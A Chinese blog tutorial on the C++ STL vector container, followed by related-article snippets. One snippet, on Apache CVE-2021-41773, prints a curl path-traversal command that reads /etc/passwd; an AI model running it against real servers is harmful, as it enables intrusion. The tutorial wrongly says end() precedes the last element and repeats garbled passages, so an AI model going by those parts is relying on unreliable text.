STL之vector

vector简单介绍

  1. vector是一个STL的一个容器,行为类似于变成数组,也就是存储空间是连续的,同时其空间大小又是动态可变的。

  2. vector访问元素的效率很高可以通过下标直接访问,但是其占用的空间很多,插入删除元素的效率很低。

  3. 使用vector时记得包含头文件

    #include <vector>
    

vector的构造函数

vector本质是类模板,可以存储任何类型的数据。数组在声明前需要加上数据类型,而vector则通过模板参量设定类型。比如,声明一个int型的vector数组。

vector<int> arr1;								//一个空数组
vector<int> arr2 {1, 2, 3, 4, 5};				//包含1、2、3、4、5五个变量
vector<int> arr3(4);							//开辟4个空间,值默认为0
vector<int> arr4(5, 3);							//5个值为3的数组
vector<int> arr5(arr4);							//将arr4的所有值复制进去,和arr4一样
vector<int> arr6(arr4.begin(), arr4.end());		//将arr4的值从头开始到尾复制
vector<int> arr7(arr4.rbegin(), arr4.rend());	//将arr4的值从尾到头复

也就是说想要创建一个vector可以通过

  1. 初始化列表构造如arr2

  2. 含有n个元素的vetcor如arr3

  3. 含有n元素且值为value如arr4

  4. 拷贝构造如arr5

  5. 通过迭代器区间构造如arr6和arr7

vector的容量

这里主要介绍其中的resize和reserve。

vector的容量包括:size,capacity,empty,resize和reserve。

  • size顾名思义就是得到数据的个数
  • capacity则是得到容量大小
  • empty是判断是否为空
  • resize是改变size,reserve是改变capacity这也是两者最根本的区别

reserve主要是用来预留空间在已知需要多少空间的情况下避免不必要的扩容

void resize(size_type n, value_type val = value_type());- 如果n<当前容器的size,则将元素减少到前n个,移除多余的元素(并销毁)
- 如果n>当前容器的size,则在容器中追加元素,如果val指定了,则追加的元素为val的拷贝,否则,默认初始化
- 如果n>当前容器容量,内存会自动重新分配void reserve(size_type n)- 如果n>容器的当前capacity,该函数会使得容器重新分配内存使capacity达到n
- 任何其他情况,该函数调用不会导致内存重新分配,并且容器的capacity不会改变
- 该函数不会影响向量的size而且不会改变任何元素

resize是改变size并且创建对象

1、resize(n) 调整容器的长度大小,使其能容纳n个元素。如果n小于容器的当前的size,则删除多出来的元素。否则,添加采用值初始化的元素。2、 resize(n,t)多一个参数t,将所有新添加的元素初始化为t。

vector的元素访问以及遍历

  1. 通过[]下标访问

    for (int i = 0; i < arr.size(); i++)
    {cout << arr[i] << endl;
  2. 范围for

for (auto num : arr)
{cout << num << endl;
}

3.迭代器访问

  • 通过迭代器访问从begin()到end(),需要定义iterator,当然可以用auto替代。
  • begin()表示第一个元素,而end()不是最后一个元素,end()是最后一个元素的前一个位置
  • rebegin()返回的是最后一个元素,reend()则返回的是第一个元素的前一个元素
//迭代器:vector<int>::iterator
for (vector<int>::iterator it = arr.begin(); it != arr.end(); it++)
{cout << *it << endl;
}
//迭代器:vector<int>::reverse_iterator
for (vector<int>::reverse_iterator it = arr.rbegin(); it != arr.rend(); it++)
{cout << *it << endl;
}

vector使用时的注意事项

1.迭代器失效

vector的每一次扩容都不是在原地扩容,而是新开辟一块儿空间后将原先的数据拷贝到新空间

当我们使用insert()插入新的元素时

vector<int> arr;
arr.push_back(1);
arr.push_back(2);
arr.push_back(3);
arr.push_back(4);
arr.push_back(5);
auto pos = find(arr.begin(),arr.end(),3);
arr.insert(pos,30);
arr.insert(pos,40);

此时就会出现问题
在这里插入图片描述

在使用erase()时也会有问题

vector<int> v;
v.push_back(1);
v.push_back(2);
v.push_back(3);
v.push_back(4);
v.push_back(4);
v.push_back(6);for (auto e : v)
{cout << e << " ";
}
cout << endl;
auto it = v.begin();
while (it != v.end())
{if (*it % 2 == 0){it = v.erase(it);}++it;
}for (auto e : v)
{cout << e << " ";
}
cout << endl;

这段代码想要删除所有的偶数

可是在使用erase()时它返回的是被删除元素的下一个位置的迭代器

那么解决方法也很简单

  1. 对于insert来说

在pos位置使用一次insert后
不要再次直接访问pos迭代器
一定要更新了pos之后再去访问!

  1. 对于erase来说

删除后不用再++迭代器
只用在没删除的时候再++

2深浅拷贝问题

拷贝vector时不要使用memcpy这是一种浅拷贝即只是拷贝了相同的数据并没有开辟新的空间浅拷贝是按字节拷贝,会导致拷贝后迭代器指向同一块空间。

对于insert来说`**

在pos位置使用一次insert后
不要再次直接访问pos迭代器
一定要更新了pos之后再去访问!

  1. 对于erase来说

删除后不用再++迭代器
只用在没删除的时候再++

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/429389.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PostMan使用变量

环境变量 使用场景 当测试过程中&#xff0c;我们需要对开发环境、测试环境、生产环境进行测试 不同的环境对应着不同的服务器&#xff0c;那么这个时候我们就可以使用环境变量来区分它们 避免切换测试环境后&#xff0c;需要大量的更改接口的url地址 全局变量 使用场景 当…

无人机集群路径规划:麻雀搜索算法(Sparrow Search Algorithm, SSA)​求解无人机集群路径规划,提供MATLAB代码

一、单个无人机路径规划模型介绍 无人机三维路径规划是指在三维空间中为无人机规划一条合理的飞行路径&#xff0c;使其能够安全、高效地完成任务。路径规划是无人机自主飞行的关键技术之一&#xff0c;它可以通过算法和模型来确定无人机的航迹&#xff0c;以避开障碍物、优化…

Linux shell编程学习笔记81:zcat命令——快速查看压缩文件内容

0 引言 在 Linux shell编程学习笔记80&#xff1a;gzip命令——让文件瘦身-CSDN博客https://blog.csdn.net/Purpleendurer/article/details/141862213?spm1001.2014.3001.5501中&#xff0c;我们使用gzip命令可以创建压缩文件。那么&#xff0c;我们可以使用zcat命令来查看压…

Apache CVE-2021-41773 漏洞攻略

1.环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.使用poc curl http://192.16.10.190:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3.工具验证

双击热备 Electron网页客户端

安装流程&#xff1a; 1.下载node.js安装包进行安装 2.点击Next; 3.勾选&#xff0c;点击Next; 4.选择安装目录 5.选择Online 模式 6.下一步执行安装 。 7.运行cmd,执行命令 path 和 node --version&#xff0c;查看配置路径和版本 8.Goland安装插件node.js 9.配置运行…

【数据结构与算法 | 灵神题单 | 自底向上DFS篇】力扣508, 1026, 951

1. 力扣508&#xff1a;出现次数最多的子树元素和 1.1 题目&#xff1a; 给你一个二叉树的根结点 root &#xff0c;请返回出现次数最多的子树元素和。如果有多个元素出现的次数相同&#xff0c;返回所有出现次数最多的子树元素和&#xff08;不限顺序&#xff09;。 一个结…

JVM 调优篇7 调优案例4- 线程溢出

一 线程溢出 1.1 报错信息 每个 Java 线程都需要占用一定的内存空间&#xff0c;当 JVM 向底层操作系统请求创建一个新的 native 线程时&#xff0c;如果没有足够的资源分配就会报此类错误。报错信息&#xff1a;java.lang.outofmemoryError:unable to create new Native Thr…

【leetcode】树形结构习题

二叉树的前序遍历 返回结果&#xff1a;[‘1’, ‘2’, ‘4’, ‘5’, ‘3’, ‘6’, ‘7’] 144.二叉树的前序遍历 - 迭代算法 给你二叉树的根节点 root &#xff0c;返回它节点值的 前序 遍历。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[1,…

AI时代,服务器厂商能否打破薄利的命运?

文&#xff5c;刘俊宏 编&#xff5c;王一粟 AI大模型正在引发新一轮的“算力焦渴”。 近日&#xff0c;OpenAI刚发布的o1大模型再次刷新了大模型能力的上限。对比上一次迭代的版本&#xff0c;o1的推理能力全方位“吊打”了GPT-4o。更优秀的能力&#xff0c;来自与o1将思维…

大学生必看!60万人在用的GPT4o大学数学智能体有多牛

❤️作者主页&#xff1a;小虚竹 ❤️作者简介&#xff1a;大家好,我是小虚竹。2022年度博客之星&#x1f3c6;&#xff0c;Java领域优质创作者&#x1f3c6;&#xff0c;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;掘金年度人气作者&#x1…

利用QEMU安装一台虚拟机的三种方法

文章目录 宿主机的选择方法一&#xff1a;直接用qemu源码安装步骤1&#xff1a;下载好qemu源码&#xff0c;这里我们用qemu-5.1.0步骤2&#xff1a;编译步骤3&#xff1a;创建一个系统盘步骤4&#xff1a;用步骤2编译的qemu-system-x86_64 启动一台Linux虚拟机步骤5&#xff1a…

arm-硬件

一、ARM体系与架构 ARM芯片组成 -- arm 体系中&#xff0c;一般讲到的芯片由两大部分组成&#xff1a;arm的内核、外设 arm内核&#xff1a; -- 其内核主要由&#xff1a;寄存器、指令集、总线、存储器映射规则、中断逻辑主调试组件构成。ARM公司只设计内核&#xff0c;授权给…

用最通俗易懂的语言和例子讲解三维点云

前言&#xff1a; 我整体的学习顺序是看的按B站那“唯一”的三维点云的视频学习的&#xff08;翻了好久几乎没有第二个...&#xff09;对于深度学习部分&#xff0c;由于本人并没有进行学习&#xff0c;所以没有深究。大多数内容都进行了自己的理解并找了很多网络的资源方便理解…

客户转化预测以及关键因素识别_支持向量机与相关性分析

数据入口&#xff1a;数字营销转化数据集 - Heywhale.com 数据集记录了客户与数字营销活动的互动情况。它涵盖了人口统计数据、营销特定指标、客户参与度指标以及历史购买数据&#xff0c;为数字营销领域的预测建模和分析提供了丰富的信息。 数据说明&#xff1a; 字段说明Cu…

unity3d入门教程九

unity3d入门教程九 20.2播放音频20.3在代码中播放21.1延时调用21.2invoke API21.3消息调用22.1交互界面22.2添加canvas22.3canavas的位置22.4添加text 这里给一个资源网站&#xff0c;可以部分免费下载&#xff0c;音乐和音效超多&#xff0c;支持检索 爱给网 https://www.aige…

Arthas sysenv(查看JVM的环境变量)

文章目录 二、命令列表2.1 jvm相关命令2.1.5 sysenv&#xff08;查看JVM的环境变量&#xff09;举例1&#xff1a;sysenv 查看所有环境变量举例2&#xff1a;sysenv java.version 查看单个属性&#xff0c;支持通过tab补全 二、命令列表 2.1 jvm相关命令 2.1.5 sysenv&#x…

2.Seata 1.5.2 集成Springcloud-alibaba

一.Seata-server搭建已完成前提下 详见 Seata-server搭建 二.Springcloud 项目集成Seata 项目整体测试业务逻辑是创建订单后&#xff08;为了演示分布式事务&#xff0c;不做前置库存校验&#xff09;&#xff0c;再去扣减库存。库存不够的时候&#xff0c;创建的订单信息数…

开源 AI 智能名片 S2B2C 商城小程序与营销工具的快速迭代

摘要&#xff1a;本文以开源 AI 智能名片 S2B2C 商城小程序为研究对象&#xff0c;探讨在营销工具快速迭代的背景下&#xff0c;该小程序如何借鉴以拼多多为代表的“小程序拼团”、以蘑菇街为代表的“小程序直播”、以花点时间为代表的“小程序按月订花”等经典案例&#xff0c…

camtasia2024绿色免费安装包win+mac下载含2024最新激活密钥

Hey, hey, hey&#xff01;亲爱的各位小伙伴&#xff0c;今天我要给大家带来的是Camtasia2024中文版本&#xff0c;这款软件简直是视频制作爱好者的福音啊&#xff01; camtasia2024绿色免费安装包winmac下载&#xff0c;点击链接即可保存。 先说说这个版本新加的功能吧&#…

解密.bixi、.baxia勒索病毒:如何安全恢复被加密数据

导言 在数字化时代&#xff0c;数据安全已成为个人和企业面临的重大挑战之一。随着网络攻击手段的不断演进&#xff0c;勒索病毒的出现尤为引人关注。其中&#xff0c;.bixi、.baxia勒索病毒是一种新型的恶意软件&#xff0c;它通过加密用户的重要文件&#xff0c;迫使受害者支…